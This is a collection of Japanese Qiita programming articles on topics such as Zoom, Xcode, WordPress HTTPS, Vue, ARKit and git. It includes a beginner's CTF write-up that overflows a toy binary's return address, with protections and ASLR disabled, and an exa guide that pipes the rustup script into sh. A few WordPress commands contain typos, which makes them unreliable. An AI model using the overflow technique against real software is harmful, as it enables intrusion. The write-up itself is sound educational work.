OmniAICreator/Qiita-1.07M huggingface dataset:
Zoom最新版(5.3.0)でブレイクアウトルームの使い勝手が劇的に向上したのでガンガン使っていこうというお話

## きっかけ
Zoomのアプデが来ていたのでリリースノートを眺めていたら、待望のブレイクアウトルームのアプデが来ていて一人興奮していた。
便利だと思うので啓蒙活動として記事を書こうと思ったのがきっかけ。

## リリースノート
[Release Note](https://support.zoom.us/hc/en-us/articles/201361963-New-updates-for-macOS)

以下抜粋
> - **Self-select Breakout Room**  
> The host can now create breakout rooms with the option for participants to self-select which breakout room they would like to join. If enabled, participants can move freely between breakout rooms, without needing the host’s help. Both the meeting host and participants need to be on Client 5.3.0 or later to self-select Breakout Rooms. 

以下Google翻訳+自身の解釈した文章に微修正

- **自分で選択できるブレイクアウトルーム**  
ホストは、参加者がどのブレイクアウトルームに参加したいかを自分で選択できるように、ブレイクアウトルームを作成することができるようになりました。これを有効にすると、参加者はホストの助けを借りずに自由にブレイクアウトルーム間を移動することができます。ブレイクアウトルームを自分で選択するには、ホストと参加者の両方が5.3.0 以降を使用している必要があります。

## 今までとの比較
#### いままで
- ホスト以外はブレイクアウトルーム間の移動ができない
- 参加者はブレイクアウトルームの選択ができない
- ブレイクアウトルームに割り当てられていない参加者(途中参加など)はどのブレイクアウトルームにも入れない
- 上記を参加者ができるようにするにはホストが参加者に共同ホスト権限を付与する必要がある
- 一度退出し再入室した場合は途中参加と同じくどのブレイクアウトルームにも入れない

#### これから(5.3.0~でホストが参加者のルーム選択機能を有効にした場合)
- 参加者がブレイクアウトルームを選択できる
- 参加者がブレイクアウトルーム間を移動できる
- 途中参加者もブレイクアウトルームを選択できる
- ホストが必要な作業はブレイクアウトルーム作成時に設定を有効にするだけ

## 何ができるようになるのか
### 用途別やチーム・グループでブレイクアウトルームを使う
チームやグループという比較的少人数の集まりでブレイクアウトルームを1つのZoom部屋のように使うことで、1ホストのZoom部屋を複数のチーム・グループが同時に利用することができる。[^1]
やろうと思えば最大で100人以上(契約プランによる)で1つのZoomでブレイクアウトルームを活用できる。

### 仮想会議室として使用
ブレイクアウトルームの名称を「会議室A」「1on1用C」などとつけて会議室として使うことができる。
もし1つのZoomを1部屋として使っている場合はブレイクアウトルームを活用することでそれを(最大で)50部屋として活用することができる。

## 設定手順
### 事前設定
クライアント側ではなくWebでの設定の`ミーティングにて（詳細）`セクションでブレイクアウトルームを有効にしておく

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/37ac104b-dabc-9c1d-1cdd-73c57a391f13.png)

### ブレイクアウトルーム作成
Zoom画面下部の**ブレイクアウトルーム**を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/28f05c88-7998-5a39-ab30-2e931ea5a37c.png)

**参加者によるルーム選択を許可**を選択 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/cf4c156e-8e04-47ae-02bc-eec3fd126458.png)

**すべてのルームを開ける**を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/fae47982-df93-dcb0-4d9a-dd66f8fc3039.png)

ブレイクアウトルームが作成できた
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/433b6b8a-3bfd-fb0a-a65c-3bb74aec4371.png)

ちなみにブレイクアウトルームに入るには右端の入室している人数部分にカーソルを合わせると出てくる**参加**をクリックする(ここ分かりにくいポイント)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/ac53b3d9-886d-6560-eeca-520da8215b00.png)

### すでにブレイクアウトルームが存在している場合
ブレイクアウトルームを押下した際にでてくる設定画面**左下の歯車**をクリックして出てくる**参加者によるルーム選択を許可**にチェックをする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62796/215eed2d-d177-9275-3e7a-78ca714b5249.png)

## トラブルシューティング
### 特定の参加者がブレイクアウトルームへ移動できない
他の参加者が自由に移動できて、特定の参加者だけが移動できない場合は、その参加者のZoomのバージョンが古い可能性が高い。
Zoom(5.3.0未満)だと移動ができないので、最新のバージョンにアップデートしてもらうとブレイクアウトルームを自身で選択できるようになる。

## なぜこの機能が追加されたのか
教育の現場で求められていたため。らしい。
数ヶ月前にどこかでその記事を見た記憶があるのだが見つけられなかった。
見つけたらここに貼る。

[^1]: 今までも一応できるにはできたが必ずホストの操作が必要だった。それが参加者で完結できる様になった。
Xcodeで Library not found for -l "ライブラリ名" と言われた時の対処法 

iOSをゼロから開発していると、おっちょこちょいの自分はたまに上記のエラーに出くわします。

## 何が原因なのか？
エラーの内容だけだと `ライブラリが見つからない` のような趣旨しか伝わってきません。
では、何が原因なのでしょうか？？

## 原因
`pod init` コマンドでpodファイルを生成し `pod install` すると、`.xcodeparoj` と `.xcworkspace` が生成されます。そのような場合には、もし`.xcodeparoj` が開かれている場合は一旦閉じて `.xcworkspace` を開くべきですが、その工程を怠ってビルドボタンをクリックするとXcodeからエラーが出されます。

## 解決策
.xcodeparojファイルを開いてビルドするのではなく、.xcworkspaceを開いてビルドする。
![スクリーンショット 2020-09-26 2.30.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179565/8b50739c-fc1d-906d-8a68-ea73bf9d055f.png)
HTTPS化されていないWordPressのサイトにLet's Encryptを導入してHTTPS化する手順

HTTPS化されていないWordPressのサイトにLet's Encryptを導入してHTTPS化する手順についてまとめます。


1. 現況確認
2. DBバックアップ
3. ファイルすべてのバックアップ
4. Let's Encryptの有効化
5. DBデータの書き換え
6. テーマファイルの確認と書き換え
7. 動作確認


# 現況確認
まずは現況の確認を行います。
サーバによっては既にSSLが設定されている場合があります。
Chromeの証明書確認ツールから確認を行います。

共用SSLとよばれる、他のサイトと共用のSSLが設定されている事が多いです。

ついでサイト状況の確認を行います。
実際にサイトを手作業で巡回し、どういったリンク構成になっているか、リンク切れがないかを確認しておきます。
記事数が多い場合にはすべてのリンクをたどることができないかもしれませんが、グローバルナビやサイドバーから、ある程度のページを手作業で辿っておきます。
可能であれば画面を録画しながら巡回しておくと良いです。
ここでリンク切れや表示崩れがあった場合には記録しておきます。こうすることでSSL化によるエラーなのか、それとも元々とあったエラーなのか区別をすることができます。

WordPressへのログインも確認しておきます。特殊なカスタム投稿タイプがあるか、メディア数はどれぐらいか、記事数はどれぐらいか、といったことを確認しておきます。

SSH接続についても確認します。
レンタルサーバによってはSSH接続を許可している場合があります。さくらサーバやエックスサーバ、コアサーバといったメジャーどころは大体の場合にSSH接続が可能です。
SSH接続ができると後述するWP-CLIの利用ができたり、FTPより高速なrsyncを使ったバックアップが可能です。[^rsync]

[^rsync]: 厳密にはSSHが使えなくてもrsyncが使えることがありますが、そのケースは稀です。

SSHが接続できるのであればWP-CLIの利用可否についても確認します。
SSHでログイン、WordPressのインストールディレクトリに移動し、`wp post list`などで投稿が表示されることを確認します。
もしWP-CLIが入っていなければ[手動でインストール](https://qiita.com/yousan/items/1088022308c3947cc148)します。

# DBバックアップ
DBバックアップを行います。WP-CLIが使えるのであれば`wp db export`でファイルに書き出しておきます。古いバージョンのWP-CLIではSQLファイルが推測可能なものでしたが、現在はデフォルトでハッシュ付きのファイル名となるためルートにエクスポートしてもアクセスされることはまずありません。ただし終わったら消しておきましょう。

WP-CLIが使えない場合にはプラグインやPhpMyAdminなどでDBのエクスポートを行っておきます。
オススメのプラグインは[Back Wp Up](https://ja.wordpress.org/plugins/backwpup/)です。

# ファイルすべてのバックアップ
DBのバックアップを含めてすべてバックアップを取得します。
rsyncコマンドを使ってローカルホストなどにバックアップを行います。

```console
$ rsync -avr user@example.com:~/public_html/wp ~/tmp/backup
```

# Let's Encryptの有効化
コントロールパネルからLet's Encryptを有効化します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47327/3a9be281-18e5-6e1a-7014-167043d809c3.png)


[コアサーバでの設定方法](https://www.coreserver.jp/support/manual/security-free-ssl.php)

# DBデータの書き換え
実際にhttps化を行っていきます。
DBにある `http://` で始まっている箇所を `https://` に置換します。
外部リンクは `http://` のままのほうが良いため、内部リンクのみを置換します。

先立って `--dry-run` というコマンド実行の予行演習を行っておきます。

```console
$ wp search-replace search-replace 'http://example.com' 'https://example.com' --skip-columns=guid
```

# テーマファイルの確認と書き換え
テーマファイルの `http://` も書き換えも行います。

ローカルにバックアップしたテーマファイルに対してエディタなどで一括置換をかける方法も良いです。
SSH上であればsedを使うことで実行が可能です。
（コアサーバでは `find` に `-exec` や `-ok` が使えませんでした）

```console
$ find . | xargs -n 1 sed -i'' -e 's#http://example.com#https://example.com#g'
```

# リダイレクトの設定
`.htaccess`ファイルを書き換え、HTTP接続をHTTPS接続にリダイレクトします。

```conf:.htaccess
RewriteEngine on
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
```

# 動作確認

書き換えが終了したら動作確認を行います。
確認ポイントは２点あります。
まず証明書が正しく設定されているか、Chromeで証明書を表示させて内容を確認します。

次にデバッグツールのSecurityの項目から正しくSecureとなっているか確認します。
一部にHTTP接続が混ざっていると `Mixed Content` として警告が出るため注意が必要です。

リダイレクトについても確認しておきます。
一度HTTPSでつなぐとブラウザが記憶してしまうため、プライベートウィンドウやスマホなどを使い、キャッシュが無い状態で確認を行います。

curlコマンドも便利です。

```console
$ curl -X http://example.com | grep Location
```

最後に手動でサイトを巡回し、エラーがないことを確認します。


以上が手順となります。お疲れさまでした。
Vueでv-forを使いfont awosomeを繰り返し表示させる方法

タイトル通りvueでfont awosomeのアイコンを繰り返し表示させようとしたら、一部困ったことになったので解決策を記しておきます。
vueでfont awosomeの導入するまでは[この記事](https://qiita.com/kurararara/items/d76776a7dc2d763a068b)を参考にしました。

## 目的
よくプロフィールサイトで見かけるこんな感じのレイアウトを構築したいとします。
![スクリーンショット 2020-09-26 0.51.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588916/4d0762b4-9d76-90f9-69b1-04136a2035d4.png)

## 結論
以下のように記述して表示させることができました。

```
<v-layout justify-space-around wrap class="mb-10">
  <v-flex
    v-for="language in languages"
    :key="language.id"
  >
  <font-awesome-icon
  :icon="{ prefix: language.prefix, iconName: language.iconName }"
  /><br />
  <span>{{ language.name }}</span>
  </v-flex>
</v-layout>
```

```
<script>
export default {
  data() {
    return {
      languages: [
        {
          id: 1,
          prefix: "fas",
          iconName: "code",
          name: "HTML5/CSS3/Sass",
        },
        {
          id: 2,
          prefix: "fab",
          iconName: "js-square",
          name: "JavaScript",
        },
        {
          id: 3,
          prefix: "far",
          iconName: "gem",
          name: "Ruby",
        },
      ],
    };
  },
};
</script>
```

## 注意点
何が問題だったかというと、vueでfont awosomeを表示させようとすると、prefixがデフォルトの状態でfarになっており、それ以外のfasやfabは指定しないと表示されないのです。([こちらの記事](https://qiita.com/terufumi1122/items/605ed64b9f715f976bbf)を参考にさせていただきました。)

したがって下のように記述してしまうと、デフォルトのfar以外は表示されなくなってしますのです。

```
<v-layout justify-space-around wrap class="mb-10">
  <v-flex
    v-for="language in languages"
    :key="language.id"
  >
  <font-awesome-icon
  :iconName="language.iconName" //prefixの指定をしていない
  /><br />
  <span>{{ language.name }}</span>
  </v-flex>
</v-layout>
```

```
<script>
//省略
         {
          id: 2,
          iconName: "js-square", //farではないので表示されない
          name: "JavaScript",
        },
        {
          id: 3,
          iconName: "gem", //farなので表示される
          name: "Ruby",
       },
      ],
    };
  },
};
</script>
```
ARKitとAVFoundationは何秒で切り替えられるのか

#ARKitとAVFoundation両方の恩恵を受けたい
*Gif：ARKitを中断してAVFoundationでキャプチャ、すぐARに戻る*
![Sep-26-2020 00-42-43.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/235259/988545b2-3633-7551-ee72-2d55bd9a7684.gif)


ARKitの世界・顔認識のトラッキングを使いながら、高画質の画像をキャプチャしたいこともあるかもしれません。
**ARKitでは１９２０＊１４４０が最高サイズ**なので、「AVFoundationでキャプチャすればいいんじゃね？」「ARKitとAVFoundation同時に使えるのかな？」と僕はなりました。

調べたところ、
**ARKitとAVFoundationのセッションは、同時には立ち上げられません。**
**では、素早く切り替えれば、何秒かかるのか。**

やってみました。
＊iPhone11 iOS14で実験。

#実験手順

トラッキング状態を保存して、ARセッションを一時停止し、AVCaptureSessionをスタート。

```swift
sceneView.session.getCurrentWorldMap { [self] worldMap, error in
    time = 0.0 // 裏でTimerでtimeを加算しています。０に戻してここからスタート。
    sceneView.session.pause() 
    map = worldMap
    avCaptureSession.startRunning() //AVFoundationスタート
}
```

###実験１、AVCaptureVideoDataOutputで画像を取得する
captureOutputデリゲートメソッド内で画像を取得し、一枚撮ったらすぐにAVCaptureSessionを止めて、ARセッションを再開。

```swift
func captureOutput(_ output: AVCaptureOutput, didOutput sampleBuffer: CMSampleBuffer, from connection: AVCaptureConnection) {
    let pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer)
    let image = UIImage(ciImage: CIImage(cvImageBuffer: pixelBuffer!))
    print(time)
    avCaptureSession.stopRunning()
    let configuration = ARWorldTrackingConfiguration()
    configuration.initialWorldMap = map
    sceneView.session.run(configuration, options: [])
}
```

**0.15秒でキャプチュア。**


しかし、AVFoundationでキャプチャした画像は、セッション立ち上げ直後なので暗い。
最初5フレーム落としてキャプチャしたところ、
**綺麗に3840＊2160で撮れて0.29秒でした。**
画面の停止は0.5秒程度（シャッターを切るくらい）の体感でした。


###実験２、AVCapturePhotoCaptureで画像を取得する
写真用のアウトプットで撮ってみました。

```swift
func photoOutput(_ output: AVCapturePhotoOutput, didFinishProcessingPhoto photo: AVCapturePhoto, error: Error?) {
    if let imageData = photo.fileDataRepresentation() {
        let uiImage = UIImage(data: imageData)
        print(time)
        // 0.50
        self.captureSession.stopRunning()
        let configuration = ARWorldTrackingConfiguration()
        configuration.initialWorldMap = map
        sceneView.session.run(configuration, options: [])
}
```
**こちらは綺麗に写真が撮れてキャプチャまで0.5秒でした。**
**しかし、写真のシャッターを切ってしまうと、ARKitの復帰が遅く、７秒程度画面が止まったままでした。**
![Sep-26-2020 00-46-53.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/235259/2c7efaa3-b1a0-3f16-ad93-6e4412bdae9b.gif)

#結果
|キャプチャの仕方  |キャプチャまでの秒数  |画面停止秒数  |
|---|---|---|
|AVCaptureVideoDataOutput  |0.3  |0.5  |
|AVCapturePhotoCapture  |0.5  |7.0  |


#結論
実用には、VideoDataOutputで最初の数コマ落として撮るのが**ギリギリ、普通のシャッターぐらい中断感覚で使えるかなあ、という意見です。**

ちなみに、ARWorldTrackingで**デバイスの傾きデータをとったところ、セッション切り替え以前と以後で0.05ラジアン程度ずれていました**。デバイス固定したらズレなかったので、キャプチャしている間の0.3秒の僕の手ブレがそれくらいということですね。

追記：ARPositionalTrackingConfigurationというデバイス位置をとるだけの構成があって、ワンチャンAVFoundationと併用できんじゃね？とやってみたら無理でした。
****
お仕事のご相談こちらまで
rockyshikoku@gmail.com

Core MLを使ったアプリを作っています。
機械学習関連の情報を発信しています。

[Twitter](https://twitter.com/JackdeS11)
[MLBoysチャンネル]
(https://www.youtube.com/channel/UCbHff-wfjTnB3rtXIP6y0xg)
[Medium](https://medium.com/@rockyshikoku)

[相棒](https://twitter.com/oka_yuuji)
[note](https://note.com/oka_yuuji)
統合開発環境(IDE)について

#プログラミング勉強日記
2020年9月26日
Next.jsはIDEについて触れたのでIDEについてまとめる。

#統合開発環境(IDE)とは
 　IDEはIntegrated Development Environmentの頭文字をとったものであり、簡単に言うと完全な開発環境である。
　プロジェクト管理の難易度を上がっているので、サービス開発の負担が大きくなっているので、その負担を軽減しようとする開発環境の1つがIDEである。
　統合開発環境(IDE)はテキストエディタ、コンパイラ、デバッカを1つにまとめている。

#統合開発環境(IDE)に含まれているもの
　ソフトウエアを開発する場合に、一般的には作業の各段階に応じた複数のソフトウエアを使い分ける必要がある。具体的には、プログラミングをするために、コードを書くための<b>エディタ</b>、コードからオブジェクトコードを生成する<b>コンパイラ</b>、ターゲットとなるCPU向けの実行コードを生成する<b>リンカ</b>、プログラムのバグを検出するために使用する<b>デバッカ</b>などである。
　つまり、統合開発環境(IDE)とはソフトウエアの開発で利用されるソフトウエアを1つの開発環境で統合・統一的に扱えるようになっている。

#参考文献
[統合開発環境（IDE）とは](https://tech-camp.in/note/technology/43103/)
[統合開発環境 (IDE)](https://wa3.i-3-i.info/word1590.html)
【JavaScript／初学者向け】打倒！ズンドコキヨシ（前半戦）

**こんにちは！どいこです。**

初Qiita投稿です。

現在JavaScript絶賛勉強中のため
「fizzBuzz問題」をクリア後、「ズンドコキヨシ問題」にも手を出してみました。

[（参考）フィズバズ問題 (FizzBuzz問題)とは](https://wa3.i-3-i.info/word18535.html)

まさに今、キヨシと戦いながら書いています。

#ズンドコキヨシとは

>「ズン」「ドコ」のいずれかをランダムで出力し続けて
>「ズン」「ズン」「ズン」「ズン」「ドコ」の配列が出たら
>「キ・ヨ・シ！」って出力した後終了する


#手順その①
###「ズン」「ドコ」のいずれかをランダムで出力し続ける

・ 「ズン」と「ドコ」を配列（`wordList`）にする

```JavaScript:
const wordList = ['ズン','ドコ']
```
<br>

・ 配列（`wordList`）のインデックス（`[0]` or `[1]`）をランダムで出現させる
　 ランダムな値は`Math.floor()`と`Math.random()`を使って作る

```JavaScript:
wordList[Math.floor(Math.random() * wordList.length)]
//wordList[0]（'ズン'） またはwordList[1]（'ドコ'）
```
<br>


・ 出力する値は「ズン」「ズン」「ズン」「ズン」「ドコ」なので
　 要素数が5個の配列を用意

```JavaScript:
const elementsLength = 5
const randomOutput = [...Array(elementsLength)]
// [undefined, undefined, undefined, undefined, undefined]　（未定義の要素×5の配列ができる）
```
<br>
・ この配列に先ほどのランダムな値（`wordList`の`[0]` or `[1]`）
　 ＝すなわち「ズン」or「ドコ」を代入する

```JavaScript:
randomOutput[0] = wordList[Math.floor(Math.random() * wordList.length)]
```
<br>

・ 要素数5個の配列にしたいので、`for`文の繰り返しで入れていく

```JavaScript:
for (let i = 0; i < randomOutput.length; i++) {
  randomOutput[i] = wordList[Math.floor(Math.random() * wordList.length)]
}
// randomOutputのインデックス0～4それぞれについて
// ランダムな値（「ズン」or「ドコ」）を代入
```
<br>

・ ここでいったん出力

```JavaScript:
console.log(randomOutput)
// [ 'ズン', 'ドコ', 'ドコ', 'ズン', 'ズン' ]
```

問題なくランダムな値が出力されるようになりました。


**よし。あとはこのランダムな配列を`for`ループで出力して、
「ズン」「ズン」「ズン」「ズン」「ドコ」って出た時に
「キ・ヨ・シ！」と叫んであげたらええんや！:blush:**


と、この時の私は簡単に考えていた・・・。


##~~次回、「城之内死す」~~　次回予告

目の前に立ちはだかるキヨシの灰色の牙城！！

ここはなんとかして「キ・ヨ・シ！」と叫ぶ機会を得たい！

**さあ、スタンドのパワーを全開だッ！！:revolving_hearts:**

[次回・後半戦はこちらから](https://qiita.com/doiko/private/ef98a51883af40168b3f)
[Linux便利コマンド] exaを入れてみる

## 環境

![](https://img.shields.io/badge/centos-7.7.1908-<COLOR>)

## 概要

https://qiita.com/navitime_tech/items/c249269a3b47666c784b

を見て便利なものをどんどん入れてみようということで、まずはexaから。

## exaインストール

https://github.com/ogham/exa

> cargo install exa

と書いてあった。`cargo` ?? ナニソレ??

ぐぐってみると

> Cargoは、Rustのビルドシステム兼、パッケージマネージャです

なるほど。。

いれるのめんどくさかったら辞めよう・・・と思ってみてみたら簡単。

### cargoインストール

```shell
$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y

.
.
.

  stable installed - rustc 1.46.0 (04488afe3 2020-08-24)


Rust is installed now. Great!

To get started you need Cargo's bin directory ($HOME/.cargo/bin) in your PATH
environment variable. Next time you log in this will be done
automatically.

To configure your current shell run source $HOME/.cargo/env
```

.bash_profileに自動でパス通す記述が追加されたっぽい（違うかったら自分で書いてください）

### exaインストール

```shell
cargo install exa
```

## エイリアス

いままでの手癖での`ll`などの入力慣れと、あくまで上位互換のような使い方とするため下記のようにしてみました

```shell
if [[ $(command -v exa) ]]; then
  alias ll='exa --icons -la'
  alias l1='exa -1'
  alias lt='exa -Ta --icons -I "node_modules|.git|.cache|vendor|tmp"'
  alias ltl='lt | less -r'
else
  alias ll='ls -la'
  alias l1='ls -1'
  alias lt='tree -I "node_modules|.git|.cache|vendor|tmp"'
  alias ltl='lt | less -r'
fi
```

## まとめ

ちょっとした差ですが、少しずつ良くなることも積み重ねれば大きくなるかなと思うと、継続して取り組んでいきたいと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/219776/ada062d6-453e-c305-ce5e-047bd5ca0bbf.png)
【Flutter】Locale data has not been initialized, call initializeDateFormatting(<locale>). の解決

## error内容

```
Locale data has not been initialized, call initializeDateFormatting(<locale>). 
```

これは言語情報の初期化がされていないとのこと。

```dart:
DateFormat.MMMM('id')
```

上記のようにlocale情報を扱う前には、'initializeDateFormatting'を呼び出す必要があるとのことです。

## 対応
アプリの初期起動時のmain()処理内に以下を追記して対応しました。

```dart:
initializeDateFormatting('id'); //locale情報は各々変更してください。
```

## 参考文献
- [How to load all dart DateFormat locale in flutter?](https://stackoverflow.com/questions/49807687/how-to-load-all-dart-dateformat-locale-in-flutter)
- [Dart/Flutter での多言語対応あれこれ](https://medium.com/flutter-jp/intl-beb5b9e8ee73)
Githubで'Untracked files'がどうにも消えない時の対応

#状況
作業していたローカルブランチでの変更を無き物にしたい。

#やったこと
1. `git checkout -- .`→Untracked filesは消えません

#次にやったこと
1. `git co master`でmasterブランチに切り替え。
2. `git branch -D branch名`でブランチの削除→まだまだUntracked filesは消えません。

#その次にやったこと
1. `git fetch origin`からの
2. `git merge origin/master`でリポジトリから取得しての上書き→まだまだUntracked filesは消えません。

#そのまた次にやったこと
1. `git clean -dfn`　→　`git clean -df`したときの未追跡の変更差分（Untracked files）がどうなるかの確認。
2. `git clean -df`　→　ようやくUntracked filesは消えました。
CTF勉強会備忘録～バッファオーバーフロー～

#はじめに
こんにちは。

[第15回ゼロから始めるCTF入門勉強会](https://weeyble-security.connpass.com/event/189371/)に参加してきたので、復習しながら備忘録として置いておきます。

※筆者はセキュリティ初学者なので、誤った解釈や抜け落ちがあるかもしれません。見つけたら、指摘して頂けたらありがたいです！



勉強会の内容としては、

+ pcapファイルの読み方
+ バッファオーバーフローの演習
でした。

今回は、バッファオーバーフロー演習について書き置きます。
(pcapファイルについては気が向いたら上げます)


#目次
1．バッファオーバーフローとは
2．プログラムの動く仕組み
3．バッファオーバーフローはなぜ起きるのか
4．演習

#1．バッファオーバーフローとは
**バッファオーバーフロー**(バッファオーバーラン)とはコンピュータのプログラムのバグの一つで、プログラムで用意されたバッファよりも大きなサイズのデータをバッファに書き込むことで、バッファの外側のメモリが上書きされてしまい、元のメモリのデータが破壊されること
(wikipedia参照)

#2．プログラムの動く仕組み
実際にどのようにバッファオーバーフローが起こるか、プログラムの関数呼び出しの仕組みから学ぶ
(スタック図の用意が面倒なので、文字だけで失礼します……m(__)m)

##関数のプロローグ
前提として、関数の呼び出しには以下のポインタを使って管理します。

+ RBP・・・スタックベースポインタ
    + スタックの底のアドレスを保持
+ RSP・・・スタックポインタ
    + スタックの一番上のアドレスを保持
 
プログラムAを実行中にプログラムBを呼び出すとき、以下の手順を踏みます。
1．プログラムAのリターンアドレスをスタックに積む
2．プログラムAのRBPをスタックに積む
3．RBPをプログラムAの先頭アドレスに更新(RSPと同位置)
4．RSPを起動したいプログラムの先頭アドレスに更新

（ハリネズミ本で勉強したのだと移動後のRBPの位置が、保存したプログラムAのRBPの先頭アドレスだったんだけど、どっちが正しいんだろう…)

##関数のエピローグ
アセンブリ言語ではleave,ret命令のセットで表されます。
1．RSPの値をRBPの値に更新する
2．保存したプログラムAのRBPを取り出し、RBPに格納
3．関数呼び出し前に戻る

#3．バッファオーバーフローはなぜ起きるのか
バッファオーバーフローは関数のプロローグで確保した(手順4)ローカル変数領域に大量のデータが書き込まれて、溢れてしまい、プログラムAのリターンアドレスが書き換えられてしまうことによって起きます。

#4．演習
実際にバッファオーバーフロー攻撃を実践していきます。
環境は
Ubuntu16.04 LTS 32bit
gcc 7.3
gdb 7.11.1
gdb-peda
を用いました。
通常では実行されない(呼び出されない)flag関数を持った実行ファイルに対して、呼び出しの際のリターンアドレスをバッファオーバーフローによって書き換えることでflag関数を呼び出し、flagを取得します。
今回の演習では、コンパイルの際にいくつかのセキュリティ機構を外しています。また、ASLRの機能を停止しています。

```bash
gcc -no-pie -fno-stack-protector -z execstack -o test2 ./test2.c
sudo sysctl -w kernel.randomize_va_space=0

```

##offsetを計算する
初めに、**offset** (ローカル変数領域に何文字書き込まばリターンアドレスまで到達するか)を計算する必要があります。

gdb-pedaの機能を使って、ランダム文字列を生成した後、そのランダム文字列をローカル変数に書き込み、応答をチェックします。

```bash
gdb-peda$ pattern_create 50
gdb-peda$ r $(python -c 'print "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA"')
```
ランダム文字列がリターンアドレスを書き換えていた場合、エラー(segmentation fault)が発生します。
書き換えに失敗していた場合は実行に失敗するだけ(Warning:not running)なので書き込む文字列を増やします。
書き換えに成功した場合EIPに書き込まれた文字列をpattoコマンドに投げることでoffsetを算出することが出来ます。

```
gdb-peda$ patto AA(A
AA(A found at offset:22
```
これでoffsetの算出は完了です。

##flag関数の呼び出し
次に実行されずに眠っているflag関数をリターンアドレスの書き換えによって呼び出してみます。
disas(disassemble)コマンドを用いて、flag関数のアドレスを探します。
見つけたflag関数の先頭アドレスをoffset文字数分の任意文字('A'とか)のあとに書き込んでやれば、無事flag関数を呼び出すことが出来ました！

```
gdb-peda$ disas flag
./test $(python -c 'print "A"*62+ "\x56\x84\x04\x08"')
Y@u_c@n_c@1c_0ffs3t!
```
#あとがき
以上が簡単にでしたが、勉強会の内容でした。
今回のテストファイルはstrcpy関数があったから可能であったようです。
コンパイル時以外の対策としてはstrncpy関数(書き込み先の上限文字数指定が可能)や、コピー元の文字列長をチェックするなどがあるそうです。

CTF勉強会自体は初めて参加しましたが、実践的でセキュリティの勉強のモチベーションのアップにも繋がるので参加してよかったです！
皆さんもぜひ、一度connpassなどで探してみて下さい～
読んで頂き、ありがとうございましたm(__)m
Safari で disable_with オプションを付けても変わらない場合

Railsでフォームを作る際、送信ボタンに disable_with オプションを付けることで、二重送信を防ぐことができる。

```ruby
= f.button '送信する', data: { disable_with: '送信中…' }
```

しかし、Safariに限って、なぜかボタンの文言が変化しなかった。GitHub上でも、多々報告されている。
[disable_with doesn't work with link in Safari #306](https://github.com/rails/jquery-ujs/issues/306)

## 解決策

結論から書くと、JSで送信処理をあえて遅らせることで、とりいそぎは回避できた。
Issue内ではバニラJSで書かれた例が出てくるので、jQueryを使っていなけば、そちらを参考にした方が早いかもしれない。

```ruby
= f.button '送信する', data: { disable_with: '送信中…' }, class: 'disable_with_safari'
```
```js
$('.disable-with-safari').click(function (event) {
  if ($(this).data('disableWith')) {
    $(this).prop('disabled', true);
    $(this).text($(this).data('disableWith'));
    var form = $(this).closest('form');
    if (form.length) {
      event.preventDefault();
      setTimeout(() => form.submit(), 300);
    }
  }
});
```

## 備考

冒頭のIssueでも議論されていたが、Safariの独特な仕様で、一度submitが走った後はDOMの更新が行われなくなるようだ。（あくまでもIssue上でのコメントなので、正確な仕様は一次情報を参照してください）
そのため、disable_withをつけても、ボタンの文言は変わらなかった。

ちなみに、今回の問題について検索すると以下の解決策が出てきていたが、わたしの場合は効果がなかった。

- cursor: pointer; をつける
- 空のclickイベントを設定する
- 空のtouchstartイベントを設定する
- バインドを$(document)に変更する
プロパティによってオブジェクトをグループ化したい

## プロパティによってオブジェクトをグループ化したいです

オブジェクトの配列を、プロパティによってグループ化したいです。
想定するデータは以下のような感じです。

```javascript
const data = [
  { type: '野菜', color: '赤', name: 'トマト' },
  { type: '野菜', color: '赤', name: 'パプリカ' },
  { type: '野菜', color: '緑', name: 'ブロッコリー' },
  { type: '果物', color: '紫', name: 'ぶどう' },
];
```

最終的に望む形式は以下のような感じです。

```javascript
const groupingData = {
  '野菜': {
    '赤': ['トマト', 'パプリカ'],
    '緑': ['ブロッコリー'],
  },
  '果物': {
    '紫': ['ぶどう'],
  },
};
```

## MDNにやりたいことが載ってた

まさにずばりやりたいことがそのまま載ってました。
`Array.prototype.reduce()`を使います。
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce#Grouping_objects_by_a_property

```javascript
// MDNに載っていたコードそのまま抜粋
return objectArray.reduce(function (acc, obj) {
  let key = obj[property]
  if (!acc[key]) {
    acc[key] = []
  }
  acc[key].push(obj)
  return acc
}, {});
```

## 今回の形式バージョンを考えました

```javascript
// MDNに載っていたコードを少し改造
const groupBy = (objectArray, property, optionProperty = '') => {
  return objectArray.reduce((acc, obj) => {
    const key = obj[property];
    if (!acc[key]) {
      acc[key] = [];
    }
    if (optionProperty && obj.hasOwnProperty(optionProperty)) {
        acc[key].push(obj[optionProperty]);
    } else {
        acc[key].push(obj);
    }
    return acc;
  }, {});
};

// 階層構造にする
const createGroupingData = (objectArray, property1, property2, property3) => {
    const groupingData = groupBy(objectArray, property1);
    Object.keys(groupingData).forEach((key) => {
        groupingData[key] = groupBy(groupingData[key], property2, property3);
    });
    return groupingData;
};

// 使い方
const groupingData = createGroupingData(data, 'type', 'color', 'name');
```

もっと良い方法を教えて下さい。
再帰的な感じにしたいです。
Go: panicキャッチ後にStackTraceを表示する

Panicをrecoverした後に、StackTraceを表示したかった  
いろんなライブラリをあさって発見したのでメモ  


```golang

package main

import(
	"runtime"
	"log"
)

func main() {

	defer func() {
		if err := recover(); err != nil {
